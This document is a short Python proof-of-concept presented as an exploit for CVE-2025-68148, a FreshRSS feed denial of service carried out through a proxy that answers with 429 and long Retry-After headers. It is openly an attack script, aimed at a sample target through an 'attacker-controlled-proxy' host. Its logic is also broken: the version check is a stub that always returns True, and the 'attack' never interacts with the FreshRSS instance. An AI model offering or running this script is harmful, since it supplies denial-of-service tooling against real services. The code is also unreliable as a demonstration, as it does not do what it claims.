CVE-2025-68148 FreshRSS代理篡改导致订阅源全局拒绝服务

import requests import time """ CVE-2025-68148 PoC - FreshRSS订阅源拒绝服务 This PoC demonstrates how an attacker can trigger a denial of service by manipulating proxy responses to return 429 with large Retry-After values. """ def check_freshrss_version(target_url): """Check if FreshRSS version is vulnerable (1.27.0 - 1.28.0)""" try: response = requests.get(target_url, timeout=10) # Version check logic would go here return True except Exception as e: print(f"Error checking version: {e}") return False def trigger_dos_via_proxy(target_url, proxy_url, feed_urls): """ Simulate the DoS attack by making requests through a malicious proxy that returns 429 responses with large Retry-After values. Args: target_url: FreshRSS instance URL proxy_url: Malicious proxy URL feed_urls: List of feed URLs to target """ proxies = { 'http': proxy_url, 'https': proxy_url } headers = { 'User-Agent': 'FreshRSS/1.27.x', 'Accept': 'application/rss+xml, application/xml, text/xml' } for feed_url in feed_urls: try: # Request through malicious proxy response = requests.get( feed_url, proxies=proxies, headers=headers, timeout=30 ) # The malicious proxy would return: # HTTP/1.1 429 Too Many Requests # Retry-After: 86400 (24 hours) if response.status_code == 429: print(f"[+] DoS triggered for feed: {feed_url}") print(f"[+] Retry-After: {response.headers.get('Retry-After', 'N/A')}") except requests.exceptions.RequestException as e: print(f"[-] Error targeting {feed_url}: {e}") def verify_dos_effect(target_url, feed_urls): """Verify that feeds are now inaccessible due to cached 429 responses""" results = {'accessible': [], 'blocked': []} for feed_url in feed_urls: try: response = requests.get(feed_url, timeout=10) if response.status_code == 200: results['accessible'].append(feed_url) else: results['blocked'].append(feed_url) except: results['blocked'].append(feed_url) print(f"[+] Accessible feeds: {len(results['accessible'])}") print(f"[!] Blocked feeds: {len(results['blocked'])}") return results if __name__ == "__main__": TARGET = "https://vulnerable-freshrss-instance.com/" MALICIOUS_PROXY = "http://attacker-controlled-proxy.com:8080" FEED_LIST = [ "https://example1.com/feed", "https://example2.com/feed", "https://example3.com/feed" ] print("CVE-2025-68148 - FreshRSS DoS via Proxy Response Manipulation") print("=" * 60) if check_freshrss_version(TARGET): print("[*] Target appears to be running vulnerable version") print("[*] Initiating DoS attack via proxy manipulation...") trigger_dos_via_proxy(TARGET, MALICIOUS_PROXY, FEED_LIST) print("[*] Verifying attack effectiveness...") verify_dos_effect(TARGET, FEED_LIST)